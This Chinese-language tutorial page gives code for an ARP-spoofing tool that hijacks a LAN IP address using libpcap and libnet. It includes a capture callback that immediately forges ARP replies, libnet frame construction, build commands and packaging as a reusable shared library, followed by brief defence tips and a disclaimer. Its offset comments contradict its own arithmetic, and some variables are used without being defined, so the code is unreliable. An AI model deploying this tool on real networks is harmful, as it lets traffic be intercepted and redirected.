首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

基於 libpcap 與 libnet 實現 ARP 欺騙與局域網 IP 劫持完整指南

     編輯:關於C語言

本文詳細記錄如何在 Linux 環境下結合 libpcap(數據包捕獲)與 libnet(封包構造/發送)實現基於 ARP 協議的局域網 IP 劫持。包含完整代碼、編譯說明、共享庫封裝及驗證流程,適合網絡安全研究與底層開發學習者參考。

前置知識與環境

  • 熟悉 ARP 協議工作原理(請求/應答、免費 ARP、ARP 緩存投毒)
  • Linux 開發環境:libpcap-dev、libnet-dev、GCC
  • 需 Root 權限執行(原始套接字/混雜模式)
  • 僅限授權網絡環境下教學/測試使用,嚴禁非法攻擊

核心架構:兩大模塊

  1. 數據包捕獲與分析:使用 libpcap 設置 BPF 過濾器 "arp and dst host 192.168.1.99 and ether broadcast",僅捕獲目標 IP 的 ARP 廣播請求。
  2. 偽造 ARP 回應並發送:解析捕獲包中的發送方 MAC/IP,構造偽造的 ARP Reply(ARPOP_REPLY),將目標 MAC 改為攻擊者指定的 glRetargetMac,通過 libnet 在鏈路層發送。

關鍵代碼片段解析

1. libpcap 回調處理流程

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
    // 從 Ethernet + ARP 固定偏移提取字段
    unsigned char *dst_ip  = packet + 28;  // ARP 目標 IP
    unsigned char *dst_mac = packet + 22;  // ARP 目標 MAC(即發送方 MAC)

    // 立即構造並發送偽造 ARP Reply
    ForgeAndSendArp(glNICStr, src_mac, dst_mac, src_ip, dst_ip, ARPOP_REPLY, 1);
    // ... 打印調試信息 ...
}

偏移說明:Ethernet Header (14B) + ARP 固定頭部 (8B) = 22B 開始是發送方 MAC;再後 6B MAC + 4B IP = 28B 為目標 IP。

2. libnet 構造 ARP + Ethernet 幀

libnet_ptag_t p_tag = libnet_build_arp(
    ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REPLY,
    src_mac, src_ip, dst_mac, dst_ip, NULL, 0, net_t, 0);

p_tag = libnet_build_ethernet(dst_mac, src_mac, ETHERTYPE_ARP, NULL, 0, net_t, 0);

libnet_write(net_t);  // 發送
libnet_destroy(net_t);

完整可執行程式編譯與運行

# 編譯
gcc arp_hijack.c -lpcap -lnet -o arp_hijack

# 執行(需 root)
sudo ./arp_hijack

封裝為共享庫供其他程式調用

將核心邏輯抽離為 IP_Kidnap() 與 ForgeAndSendArp() 兩個導出函數,編譯為 .so:

gcc arp_hijack.c -lpcap -lnet -shared -fPIC -o libarp_hijack.so

導出原型:

int ForgeAndSendArp(char *dev, u_char *src_mac, u_char *dst_mac,
                    u_char *src_ip, u_char *dst_ip, uint16_t arpOp, unsigned int sendTimes);

int IP_Kidnap(u_char *TargetIP, char *BpfCmd, u_char *RetargetMac,
              char *listenNICStr, char *sendNICStr);

驗證與防禦建議

  • 驗證:在受控網絡中運行程式,目標主機 arp -a 顯示網關 MAC 被篡改為 glRetargetMac,流量經攻擊機轉發。
  • 防禦:
    • 靜態綁定 ARP 表項(arp -s)
    • 部署動態 ARP 檢測(DAI)交換器功能
    • 啟用端口安全/ MAC 綁定
    • 使用加密通訊(HTTPS/SSH/VPN)降低劫持價值

法律聲明:本文代碼僅供網絡原理教學與授權滲透測試使用。未經授權對他人網絡實施 ARP 欺騙屬違法行為,後果自負。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved